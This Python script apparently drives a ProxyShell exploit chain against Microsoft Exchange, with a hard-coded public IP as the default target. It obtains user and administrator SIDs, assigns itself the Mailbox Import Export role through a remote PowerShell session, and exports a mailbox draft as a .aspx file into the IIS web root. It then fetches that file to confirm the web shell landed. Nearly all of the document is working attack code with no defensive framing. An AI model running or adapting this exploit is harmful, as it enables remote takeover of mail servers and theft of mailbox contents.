#!/usr/bin/env python3
# Compare EWS-SID vs export-mailbox combos; capture raw exported file bytes
import sys, time, random
sys.path.insert(0, '.')
import ps_driver as P
import requests
requests.packages.urllib3.disable_warnings()

host = sys.argv[1] if len(sys.argv) > 1 else '197.159.29.214'
url = f'https://{host}'
ps = P.ProxyShell(url, timeout=35)
print("fqdn", ps.get_fqdn(), flush=True)
print("mb", ps.get_legacydn(), ps.email, flush=True)
ps.get_sid()
print("user", ps.sid, "admin", ps.admin_sid, flush=True)

saved_user, saved_admin = ps.sid, ps.admin_sid
domain = ps.email.split('@')[1] if '@' in (ps.email or '') else ''
print("domain", domain, flush=True)

def make_and_export(tag, ews_sid, export_mb):
    ps.sid = ews_sid
    try:
        d = ps.set_ews()
    except Exception as e:
        print(tag, "ews exc", e, flush=True); return None
    ps.sid = saved_admin
    try:
        ps.get_token()
    except Exception as e:
        print(tag, "token exc", e, flush=True); return None
    port = random.randint(20000, 40000)
    P.start_server(ps, port)
    time.sleep(1)
    try:
        P.wsman_shell('New-ManagementRoleAssignment -Role "Mailbox Import Export" -User "%s"' % ps.email.split('@')[0], port)
    except Exception as e:
        print(tag, "roleassign", e, flush=True)
    time.sleep(2)
    name = "dbg%s.aspx" % tag
    unc = "\\\\127.0.0.1\\c$\\inetpub\\wwwroot\\aspnet_client\\" + name
    cmd = ('New-MailboxExportRequest -Mailbox %s -IncludeFolders ("#Drafts#") '
           '-ContentFilter "(Subject -eq \'%s\')" -ExcludeDumpster -FilePath "%s"') % (export_mb, P.subj_, unc)
    print(tag, "export:", flush=True)
    try:
        o, e = P.wsman_shell(cmd, port)
        for x in o: print("   ", str(x)[:160], flush=True)
    except Exception as ex:
        print("   exc", type(ex).__name__, str(ex)[:200], flush=True)
    return f"https://{host}/aspnet_client/{name}"

targets = []
targets.append(("A_user_export_user", saved_user, ps.email))
if domain:
    targets.append(("B_admin_export_user", saved_admin, ps.email))
    targets.append(("C_admin_export_admin", saved_admin, "Administrator@" + domain))

for tag, sid, mb in targets:
    print(f"\n================= {tag} ews_sid={sid} export_mb={mb} =================", flush=True)
    # unique subject per run
    P.subj_ = P.rand_string(16)
    try:
        fu = make_and_export(tag, sid, mb)
    except Exception as e:
        print("combo exc", e, flush=True); continue
    if not fu:
        continue
    for i in range(6):
        try:
            r = requests.get(fu, verify=False, timeout=20)
            body = r.content
            print(f"   GET[{i}] code={r.status_code} size={len(body)} head={body[:90]!r}", flush=True)
            if body:
                open("dbg_%s.bin" % tag, "wb").write(body)
                print("      has_<script:", b'<script' in body, " has_JScript:", b'JScript' in body, " has_!BDN:", b'!BDN' in body, flush=True)
            if r.status_code == 200:
                break
        except Exception as e:
            print("   GET[%d] exc %s" % (i, e), flush=True)
        time.sleep(6)
